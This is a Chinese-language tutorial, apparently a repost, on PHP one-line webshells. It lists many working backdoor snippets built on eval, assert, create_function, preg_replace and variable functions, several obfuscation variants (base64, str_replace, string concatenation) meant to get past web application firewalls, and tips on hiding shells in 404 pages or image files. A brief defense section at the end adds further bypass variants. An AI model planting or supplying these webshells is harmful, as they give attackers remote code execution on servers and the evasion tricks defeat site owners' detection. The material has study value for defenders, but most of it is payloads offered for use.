一、什么是一句話木馬?
一句話木馬就是只需要一行代碼的木馬,短短一行代碼,就能做到和大馬相當的功能,為了繞過waf的檢測,一句話木馬出現了無數中變形,但本質是不變的:木馬的函式執行了我們發送的命令,
二、我們如何發送命令,發送的命令如何執行?
我們可以通過 GET、POST、COOKIE這三種方式向一個網站提交資料,一句話木馬用 $_GET[' ']、$_POST[' ']、$_COOKIE[' ']接收我們傳遞的資料,并把接收的資料傳遞給一句話木馬中執行命令的函式,進而執行命令, 所以看到的經典一句話木馬大多都是只有兩個部分,一個是可以執行代碼的函式部分,一個是接收資料的部分,
0.eval函式
<?php eval($_POST['a']) ?>
其中eval就是執行命令的函式,**$_POST[‘a’]**就是接收的資料,eval函式把接收的資料當作PHP代碼來執行,這樣我們就能夠讓插入了一句話木馬的網站執行我們傳遞過去的任意PHP陳述句,這便是一句話木馬的強大之處,
因為木馬是接收post請求中 “a” 的資料( $_POST[‘a’]),所以我們必須以post方法發送資料并且將我們要執行的代碼賦值給“a”,如果把木馬中的post替換成get,那么我么就需要以GET方法發送“a”,
使用 其他函式制作一句話木馬
1.assert函式
<?php assert(@$_POST['a']); ?>
2.create_function函式
<?php
$fun = create_function('',$_POST['a']);
$fun();
?>
把用戶傳遞的資料生成一個函式fun(),然后再執行fun()
3. call_user_func回呼函式
<?php
@call_user_func(assert,$_POST['a']);
?>
call_user_func這個函式可以呼叫其它函式,被呼叫的函式是call_user_func的第一個函式,被呼叫的函式的引數是call_user_func的第二個引數,
這樣的一個陳述句也可以完成一句話木馬,一些被waf攔截的木馬可以配合這個函式繞過waf,
4.preg_replace函式
<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>
這個函式原本是利用正則運算式替換符合條件的字串,但是這個函式有一個功能——可執行命令,
這個函式的第一個引數是正則運算式,按照PHP的格式,運算式在兩個“/”之間,如果我們在這個運算式的末尾加上“e”,那么這個函式的第二個引數就會被當作代碼執行,
5. file_put_contents函式
利用函式生成木馬
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>
函式功能:生成一個檔案,第一個引數是檔案名,第二個引數是檔案的內容,
6.array陣列
<?php
$a='assert';
array_map("$a",$_REQUEST);
?>
上述定義引數a并賦值‘assert’,利用array_map()函式將執行陳述句進行拼接,最終實作assert($_REQUEST),
<?php
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST["TEST"]);
?>
利用函式的組合效果,使得多個引數在傳遞后組合成一段命令并執行,


7.PHP變數函式
<?php
$a = "eval";
$a(@$_POST['a']);
?>
第三行使用了變數函式$a,變數儲存了函式名eval,便可以直接用變數替代函式名,
三、如何讓一句話木馬繞過waf ?
waf是網站的防火墻,例如安全狗就是waf的一種,waf通常以關鍵字判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf根本不可能全部攔截,想要繞過waf,需要掌握各種PHP小技巧,掌握的技巧多了,把技巧結合起來,設計出屬于自己的一句話木馬,
2.PHP可變變數
<?php
$bb="eval";
$aa="bb";
$$aa($_POST['a']);
?>
看這句就能理解上述陳述句:$$aa = ( ( (aa) = $ (‘bb’) = $bb = “eval”
3.str_replace函式
<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>
函式功能:在第三個引數中,查找第一個引數,并替換成第二個引數,這里第二個引數為空字串,就相當于洗掉"Waldo",
4. base64_decode函式
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>
這里是base64解密函式,"ZXZhbA=="是eval的base64加密,
5."."運算子
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
6.parse_str函式
<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>
執行這個函式后,生成一個變數$a,值為字串"eval"
7.更換資料來源
7.1GET篇
<?php $_GET[a]($_GET[b]); ?>
<?php @eval( $_GET[$_GET[b]])>
利用方法:
b=cmd&cmd=phpinfo()
7.2利用script代替<? 、?>標簽
<script language="php">@eval_r($_GET[b])</script>
7.3利用session

8.字符替換或特殊編碼


9.木馬藏匿
1.404頁面
2.圖片木馬,用檔案包含呼叫
四、總結
繞過技巧:
- 更換執行資料來源
- 字符替換或者編碼
- 采取隱匿手段
tips:使用一句話木馬的時候可以在函式前加”@”符,這個符號讓php陳述句不顯示錯誤資訊,增加隱蔽性,
五、防御
1.禁用assert()函式,監控eval()
2.搜索日志的assert,
亦可能繞過:
<?php $c=$_GET[n].'t';
@$c($_POST[cmd]);
?>
<?php $c=base64_decode('YXNzZXI=').$_GET[n].'t';
@$c($_POST[cmd]);
?>

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/181298.html
標籤:其他
下一篇:【Jenkins+Ansible+Gitlab 自動化部署三劍客】學習筆記-第五章 5-1~5-5 Freestyle Job實戰
